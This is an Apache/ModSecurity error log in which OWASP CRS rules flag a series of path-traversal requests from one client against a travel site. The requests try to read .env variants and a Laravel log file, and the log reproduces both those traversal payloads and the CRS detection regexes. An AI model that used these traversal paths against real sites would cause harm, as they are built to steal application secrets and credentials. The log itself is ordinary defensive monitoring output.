[Fri Jul 17 08:55:05.121397 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.124365 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.124540 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.124896 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.127491 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2F..%2F..%2F.env&debug=pRblf0fBPI7zICFIwH0BP4Gj6AOyWIAb9SWME1Wpynn-MhWnyKfiZfzK7GfEQg5xwsR56ZQgtQP3whqAjZAT655pC5tPHIrhBhIZaDxAFjyX0IgPRGpMAW4xIRaWdr4KzaUELEAQq8vGlnxc474BdaCm5iEmib3Q9jsweki4UdMXUx7VAMoEQMeXh2c-HUe0Kvyt_jdkVFj105aYrWkQTdIJhjVfGCh7CVlnD7PYogkpO1lUaCQQDAa7wM4YTGcauHpMljRB-ntCFbCRMi5f-v4Z&junk=ST5NLSCYXVAEVJAWHTRN35HL2QZ6XZMY74X36CZZICCBTOMYRVETN7JVUVG3YN3NOGR2UJDWG5J5ZD6H5SMWELTWWZ45OPHPTMVDCOTQM5PWN2D2XVUPA53YX4NMEAC33KQ22..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.131298 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.131383 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../../.env&debug=pRblf0fBPI7zICFIwH0BP4Gj6AOyWIAb9SWME1Wpynn-MhWnyKfiZfzK7GfEQg5xwsR56ZQgtQP3whqAjZAT655pC5tPHIrhBhIZaDxAFjyX0IgPRGpMAW4xIRaWdr4KzaUELEAQq8vGlnxc474BdaCm5iEmib3Q9jsweki4UdMXUx7VAMoEQMeXh2c-HUe0Kvyt_jdkVFj105aYrWkQTdIJhjVfGCh7CVlnD7PYogkpO1lUaCQQDAa7wM4YTGcauHpMljRB-ntCFbCRMi5f-v4Z&junk=ST5NLSCYXVAEVJAWHTRN35HL2QZ6XZMY74X36CZZICCBTOMYRVETN7JVUVG3YN3NOGR2UJDWG5J5ZD6H5SMWELTWWZ45OPHPTMVDCOTQM5PWN2D2XVUPA53YX4NMEAC33KQ22IH4DWN7JKPRFM6SM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.131420 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../../.env&debug=prblf0fbpi7zicfiwh0bp4gj6aoywiab9swme1wpynn-mhwnykfizfzk7gfeqg5xwsr56zqgtqp3whqajzat655pc5tphirhbhizadxafjyx0igprgpmaw4xirawdr4kzaueleaqq8vglnxc474bdacm5iemib3q9jsweki4udmxux7vamoeqmexh2c-hue0kvyt_jdkvfj105ayrwkqtdijhjvfgch7cvlnd7pyogkpo1luacqqdaa7wm4ytgcauhpmljrb-ntcfbcrmi5f-v4z&junk=st5nlscyxvaevjawhtrn35hl2qz6xzmy74x36czziccbtomyrvetn7jvuvg3yn3nogr2ujdwg5j5zd6h5smweltwwz45ophptmvdcotqm5pwn2d2xvupa53yx4nmeac33kq22ih4dwn7jkprfm6sm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.131454 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.131498 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.132795 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.132961 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.133309 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkeYpb_TFRze2EO3zSQAAAAE"]
[Fri Jul 17 08:55:05.204381 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXAAAAB4"]
[Fri Jul 17 08:55:05.204443 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXAAAAB4"]
[Fri Jul 17 08:55:05.205724 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXAAAAB4"]
[Fri Jul 17 08:55:05.205920 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.206307 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkVCBpfuYyhJ140vSXAAAAB4"]
[Fri Jul 17 08:55:05.208805 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9gAAAAM"]
[Fri Jul 17 08:55:05.208850 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9gAAAAM"]
[Fri Jul 17 08:55:05.210056 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9gAAAAM"]
[Fri Jul 17 08:55:05.210202 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.210501 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkRHlOGcokz2QIwTS9gAAAAM"]
[Fri Jul 17 08:55:05.219908 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMgAAABs"]
[Fri Jul 17 08:55:05.219958 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMgAAABs"]
[Fri Jul 17 08:55:05.221122 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMgAAABs"]
[Fri Jul 17 08:55:05.221298 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.221672 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBMgAAABs"]
[Fri Jul 17 08:55:05.225762 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSgAAAAE"]
[Fri Jul 17 08:55:05.225810 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSgAAAAE"]
[Fri Jul 17 08:55:05.226030 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9wAAAAM"]
[Fri Jul 17 08:55:05.226081 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9wAAAAM"]
[Fri Jul 17 08:55:05.227063 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSgAAAAE"]
[Fri Jul 17 08:55:05.227228 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS9wAAAAM"]
[Fri Jul 17 08:55:05.227242 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.227356 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.227637 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkRHlOGcokz2QIwTS9wAAAAM"]
